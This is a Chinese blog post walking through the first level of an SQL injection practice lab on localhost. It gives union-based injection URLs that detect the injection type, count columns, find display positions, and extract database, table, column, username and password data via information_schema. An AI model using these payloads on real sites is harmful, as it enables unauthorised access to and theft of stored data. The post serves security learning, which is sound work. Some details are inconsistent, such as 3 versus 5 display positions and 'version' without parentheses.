sql靶场第一题思路
判断注入类型
url为 http://127.0.0.1?/id=1 and 1=1时,没有报错
url为 http://127.0.0.1/?id=1 and 1=2时,没有报错
url为 http://127.0.0.1/?id=1 ‘ 时,报错说明是字符型注入
后台查询列数
使用order by试出数据库列数
url为 http://127.0.0.1/?id=1 ‘ order by 数字–+ (如果试4时有错误,3时正确,那么列数为3)
找显示位
使用union select找出会返回客户端并显示的列。如果有3列时,应该这么写
url为 http://127.0.0.1/?id=-1 ‘ union select 1,2,3–+
加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据(将id弄成负数,使前面的语句失效)
查库名
联合查询:select database();
下面是查看数据库的版本和数据库信息
假如显示位是3,http://127.0.0.1/?id=-1 ‘ union select 1,version,database()–+
我们发现名字可能叫users
查表名
找到库名以后,使用http://127.0.0.1/?id=1 ‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’库名’–+ (如果库名是字符型,此处库名要转成十六进制)
我们发现username和password字段
information_schema:
这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库
查列名
找到表之后,使用http://127.0.0.1/?id=1 ‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’表名’–+ (如果表名是字符型,此处库名要转成十六进制)
如果表数或列数过多,可以在最后使用limit加上limit 0,5相当于检索1-5条信息
查具体数据
找到列之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1 ‘ union select 1,2,group_concat(“要查询的数据”) from 表名 –+
- 标题: sql靶场第一题思路
- 作者: 晨曦
- 创建于 : 2024-11-07 09:40:02
- 更新于 : 2025-01-14 03:24:47
- 链接: https://blog.starlit.icu/2024/11/07/web/sql注入/study1/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。